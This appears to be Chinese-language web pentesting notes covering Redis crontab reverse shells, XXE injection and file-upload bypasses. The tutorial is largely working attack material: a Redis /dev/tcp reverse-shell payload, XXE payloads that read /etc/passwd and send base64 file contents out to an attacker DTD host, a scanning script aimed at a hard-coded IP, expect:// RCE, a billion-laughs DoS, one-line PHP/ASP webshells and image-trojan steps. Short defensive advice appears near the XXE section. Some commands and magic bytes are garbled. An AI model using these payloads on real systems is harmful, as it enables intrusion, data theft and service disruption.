盲测内网ip
redis服务端口:6379 #利用redis读写计划任务文件 crotab
补充:redis数据库读写语法
#反弹shell
set | "\n\n\n\n***** root hash -i >& /dev/tcp/[ip]/[端口号] 0>&| \n\n\n\n"
#设置目录
config set dir /etc/
#将shell保存到crontab文件里头
config set dbfilename crontab
#保存
save
注意:对空格进行URL编码
攻击者监听反弹shell回联 net -lvvp 777 #回连后即将获得root权限
反弹shell:http://ip:6379/redis反弹shell(已URL编码)
首先了解一下XML
注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞
既然能插入 XML 代码,那肯定会想办法扩大利用面,于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是XML外部实体。利用点是 外部实体 ,如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素等
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>
三者其中,与 XXE 漏洞相关的主要在于文档类型定义(DTD)
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则。DTD 实体就是变量,它既可以在文档内部声明,也可以外部引用,供在 XML 文档里面去使用。定义结构如下:
<!DOCTYPE 根元素 [定义内容]>
示例:
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
示例:
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的
示例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
内部声明采用如下格式定义:
<!ENTITY 实体名 "实体值">
声明之后就可以通过“&实体名;”来获取,示例如下:
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root
外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
普通实体声明格式如下:
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">
示例:
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
示例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
示例:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
xxe.dtd 内容如下:
<!ENTITY evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 “http://hacker.com/evil.dtd”,里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
参考:https://xz.aliyun.com/t/3357#toc-14
这里攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件
本地服务器上放上解析 XML 的 php 代码:
示例:xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
读取结果
但是因为这个文件没有什么特殊符号,于是我们读取的时候可以说是相当的顺利。但如果要读取的文件有许多特殊符号,比较复杂,则会触发错误。如下
可以看到,不但没有读到我们想要的文件,而且还给我们报了一堆错,这个时候需要使用过另一个神器了------CDATA
有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
" 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
<![CDATA[
XXXXXXXXXXXXXXXXX
]]>
可以输入任意字符除了 ]]> 不能嵌套
用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA包起来
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,分析如下:
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'
等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 "<![CDATA["和 “]]>”
,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法
注意,测试的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在 xml 中调用,那么要想在DTD中拼接,我们知道我们只有一种选择,就是使用参数实体
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///C:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
#示例:evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
注意:
这里提一个点,如果是在 java 中 还有一个协议能代替 file 协议 ,那就是 netdoc
新的问题:
但是,你想想也知道,本身人家服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带
解决方法:
想要外带就必须能发起请求,那么什么地方能发起请求呢? 很明显就是我们的外部实体定义的时候,其实光发起请求还不行,我们还得能把我们的数据传出去,而我们的数据本身也是一个对外的请求,也就是说,我们需要在请求中引用另一次请求的结果,分析下来只有我们的参数实体能做到了(并且根据规范,我们必须在一个 DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)
示例:xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
示例:test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/12.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
**注意:**在某一些场景由于解析的问题将 send 前面的 HTML 实体转化成了 %
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
测试结果:
虽然报错,但是成功外带了(这个方法需要目标可以连接外部网络)。服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法)
整个调用过程:
payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
新的思考:
我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用:
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
PHP在安装扩展以后还能支持的协议:
注意:
1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7
update 7 和 Oracle JDK 1.6 update 35
2.libxml 是 PHP 的 xml 支持
以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了
#探测脚本示例: import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue
找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测
#端口探测示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
根据响应包判断端口是否开启(可以配合burpsuite使用)
利用这类XXE,有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)
现实中很多都是 java 的框架出现的 XXE 漏洞, Java 中有一个比较神奇的协议 jar:// , php 中的 phar:// 似乎就是为了实现 jar:// 的类似的功能设计出来的。
jar:// 协议的格式:
jar:{url}!{path}
示例:
jar:http://host/application.jar!/file/within/the/zip
这个 ! 后面就是其需要从中解压出的文件
jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的(因此 phar:// 一般用于绕过文件上传)
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
怎么找到我们下载的临时文件呢?
因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用
通过报错的形式展现,如果我们请求的
jar:http://localhost:9999/jar.zip!/1.php
1.php 在这个 jar.zip 中没有的话,java 解析器就会报错,说在这个临时文件中找不到这个文件
找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题
还有一些不是很常用或者比较鸡肋的利用方式,为了完整性我在这一节简单的说一下:
PHP expect RCE
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
示例(payload)
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
利用 XXE 进行 DOS 攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
XXE问题经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用
示例代码:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”}
但是如果我们传入一个恶意的代码
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
漏洞描述:
微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品
我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中
如图所示:
问题就出现在我横线划出来的那部分,也就是简化为下面的代码:
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
...
我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞,下面是我实验的步骤
首先我在 com 包下又新建了一个包,来写我们的测试代码,测试代码我命名为 test001.java
test001.java
package com.test.test001; import java.util.Map; import static com.github.wxpay.sdk.WXPayUtil.xmlToMap; public class test001 { public static void main(String args[]) throws Exception { String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" + "<!DOCTYPE XDSEC [\r\n" + "<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" + "<XDSEC>\r\n"+ "<XXE>&xxe;</XXE>\r\n" + "</XDSEC>"; try{ Map<String,String> test = xmlToMap(xmlStr); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } }
我希望它能读取我 D 盘下面的 1.txt 文件
运行后成功读取
当然,WXPayXmlUtil.java 中有这个 sdk 的配置项,能直接决定实验的效果,当然后期的修复也是针对这里面进行修复的
java 中有一个 netdoc:/ 协议能代替 file:///
很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。
原始请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml
进一步请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击
最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
文件上传是web应用的必备功能之一,比如上传头像显示个性化、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
文件上传漏洞的原因,一方面是服务器配置不当会导致任意文件上传;另一方面,web应用开放了文件上传功能,并且对上传的文件足够的限制;两者就是,程序开发部署的时候,没有考虑到系统特性、验证和过滤不严格而导致限制被绕过,上传任意文件。
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果web服务器所保存上传文件的可写目录具有执行权限,那么久可以直接上传后门文件,导致网站沦陷,如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
通过文件上传漏洞获取的网站后门,就是webshell。
在计算机中,shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统的cmd.exe 或者 linux下的bash等,虽然这些系统上的命令解释器不止一种。
webshell是一个网站的后门,也就是一个命令解释器,不过是以web方式(http协议)通信(传递命令消息),继承了web用户的权限。webshell本质上是在服务器端可远程控制的脚本文件,后缀名一般为.php/.asp/.aspx/.jsp等。也就是说webshell接收来自web用户的命令。然后再服务端执行。
webshell也可以是大马,也就是网站木马。有一类webshell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。
一般,大马使用web管理页面,使用账密登录。可以在目标主机上执行操作(前提是:大马植入到目标web应用——利用文件上传或其他漏洞,一般常用小马拉大马的操作),包括文件管理、执行系统命令等,还有一些其他定制功能。
小马就是一句话木马,因为其他代码量比较小,就是一句简单的代码。
示例:
ASP: <%eval request("cmd")%>
ASP.NET: <%@Page Language="Jscript">
<%eval(Request.Item["cmd"],"unsafe");%>
php: <?php @eval($_REQUEST['cmd']);?>
注意:jsp与jspx的一句话木马比较复杂。此外建议平时收集一些优秀的一句话木马
一句话木马短小精悍,功能强大,但是需要配合中国蚁剑等webshell管理工具使用。中国蚁剑是webshell的管理器,也是命令的操作接口。在连接一句话木马的时候,需要填写密码(实际上就是变量名)。webshell管理工具与一句话木马配合实现了三大基本功能。(除3大功能外有的还支持shell代理、流量加密等操作)
文件管理
在webshell页面继承web用户权限可以实现文件管理。包括文件查看、上传、下载、修改、删除甚至运行exe程序等。
虚拟终端
在webshell管理工具下可以获得类似于cmd和bash的命令行接口,可以执行相关命令。
管理数据库
我们可以使用这些工具进行数据库管理,此时需要知道连接数据库的账密。以及mysql为例,填写配置如下:
<T>MYSQL</T> #数据库类型
<H>localhost</H> #数据库地址
<u>root</u> #数据库用户
<p></p> #数据库密码,密码为空就不写
<L>utf8</L> #编码类型
注意:配置后我们可以执行SQL语句,管理数据库
一定的条件(前提)
文件上传的防御、绕过及利用总是分不开的。为什么这么防御?为什么这么攻击(防御与绕过)?总是相互纠缠在一起的两个问题,攻防交替。所以,下文也是以这种方式讨论文件上传的问题。
黑白名单是最常见的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单中,一律“禁止”,如果“客体”在白名单中一律“允许”。类似手机号码中的黑白面名单。
例:chrome浏览器的黑白名单策略
政策 | 说明 |
---|---|
URLBlackList | 禁止用户访问您已阻止的网址。不过用户可以访问黑名单之外的所有网址。不设置此项策略:用户将自由访问所有网址 |
URLwhitelist | 将此政策与URLBlackList政策搭配使用,可以将特定网址设置为黑面名单的例外网址并允许用户访问。白名单的优先级高于黑名单。您至少要在黑名单中添加一个条目,才能正常使用此政策。不设置此政策:网址黑名单无例外网址 |
概念:http请求之一,允许向服务器直接写入文件
Apach(httpd)开启PUT方法
查看目标主机开启的http方法
#使用telnet
telnet "目标ip" “端口”
OPTIONS / HTTP/1.1
HOST:目标主机ip
#抓包使用OPTIONS方法请求网站也可
注意:两种方法都有一个前提,即目标服务器需要开启OPTIONS方法,一般都会禁用的
打开httpd.conf 文件,开启模块
#去掉两句前面的#号即为开启模块
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/modules/mod_dav_fs.so
启用模块(Dav)
<Directory>
Option+Indexes+Follow······
···························
Request all granted
Dav On #添加上这句话,表示开启
</Directory>
开启文件锁
#添加下列语句至配置文件第一行
DavLockDB c:\phpstudy\www\davlock #文件夹位置自定义,一般为网站根目录
在上一步中路径创建davlock文件夹
利用PUT上传文件
#使用telnet方法
示例:
PUT /info.php HTTP/1.1 #使用PUT方法创建并上传info.php文件
HOST:目标ip
Content-Length:18 #上传内容18个字节
<?php phpinfo();?> #上传文件中的内容
有些web应用的文件上传功能,仅在前端用js脚本做了检测(本地js脚本规则检测),如检测后缀名等。本着我的地盘我做主的原则,对于前端检测是十分方便绕过的。常见方法是控制台直接删除检测代码或者是抓包绕过。
靶场示例—upload_labs
环境搭建
使用phpstudy快速搭建,将靶场源码移动到网站根目录,配置好即可
绕过分析
第一关示例:
对于文件上传,只从web前端进行检测显然是防护不足,那么服务器端检测就特别重要了。一般服务器端检测,利用黑白名单策略,检测如下内容。
服务器端检测——MIME类型
MIME(multipurpose Internet Mail EXtensions)是描述消息内容类型的因特网标准。MIME消息包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME类型如下
参考地址:http://t.zoukankan.com/ingstyle-p-5711410.html
文件拓展名 | Mime-Type |
---|---|
.js | application/x-javascript |
.html | text/html |
.jpg | image/jpeg |
.png | image/png |
application/pdf |
在HTTP协议中,使用Content-Type 字段表示文件的MIME类型。当我们上传文件的时候,抓到HTTP数据包。在服务器端会检测conten-type字段类型
**示例:**以upload-labs靶场第二关为例
服务器端检测——文件内容
除了检测上传文件的content-Type类型,为了保持安全性,服务器还会检测文件内容。php中有一个函数getimagesize( ),这个函数本意是检测图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。
**示例:**以第十关为例
服务端检测——后缀名
服务器在检测文件名的时候,依然会采用黑名单策略。黑名单策略不允许上传.php/.asp/aspx/jsp····等可执行文件;白名单策略只允许上传png|jpg|doc······
黑名单
代码中$deny_ext数据就是一个黑名单,数组元素就是就是不允许上传文件类型。对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
可执行脚本后缀名:
#示例:部分
.php .php2 .php3 .php5 .phtml
.asp .ascx .ashx .asa .cer
.jsp .jspx
白名单
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名
绕过:
示例:利用.php2 .php3 .php5 等格式上传文件,绕开.php不能上传限制。
简介
图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中,通常将脚本编写的webshell和图片合成一个新的木马,结合web的文件上传漏洞进行利用,获取网站应用的webshell权限
图片木马制作
在windows系统cmd下使用命令生成,或者给木马添加文件头,并修改为图片格式的后缀
命令生成:准备一张图和一个一句话木马,以php为例,文件名为a.php,图片b.jpg。
copy b.jpg/b+a.php/a ab.jpg #ab.jpg就是生成的图片木马
#参数说明:
copy:将文件复制或者是合并,/b的意思是以前边图片二进制格式为主,进行合并,合并后的文件依旧 是二进制文件,实用于图像/声音等二进制文件。/a的意思是指定以ASCII格式复制,合并文件。用于 jpeg等文本类型文档。
添加文件头:
#利用十六进制编辑器(nadp++插件)
注意:所有jpg图片的文件
#文件幻术,放于文件最上面,必须是十六进制编码
.gif
47 49 46 38 39 61 FL 00 2C 01 F7 00 00 64 32 33
.jpg
FF DB FF E0 00 10 4A 46 49 00 01 01 01 01 2c
.png
89 50 4E 47 0D 0A 1A 0A 00 0D 49 48 44 52
示例:
文件幻术(十六进制)
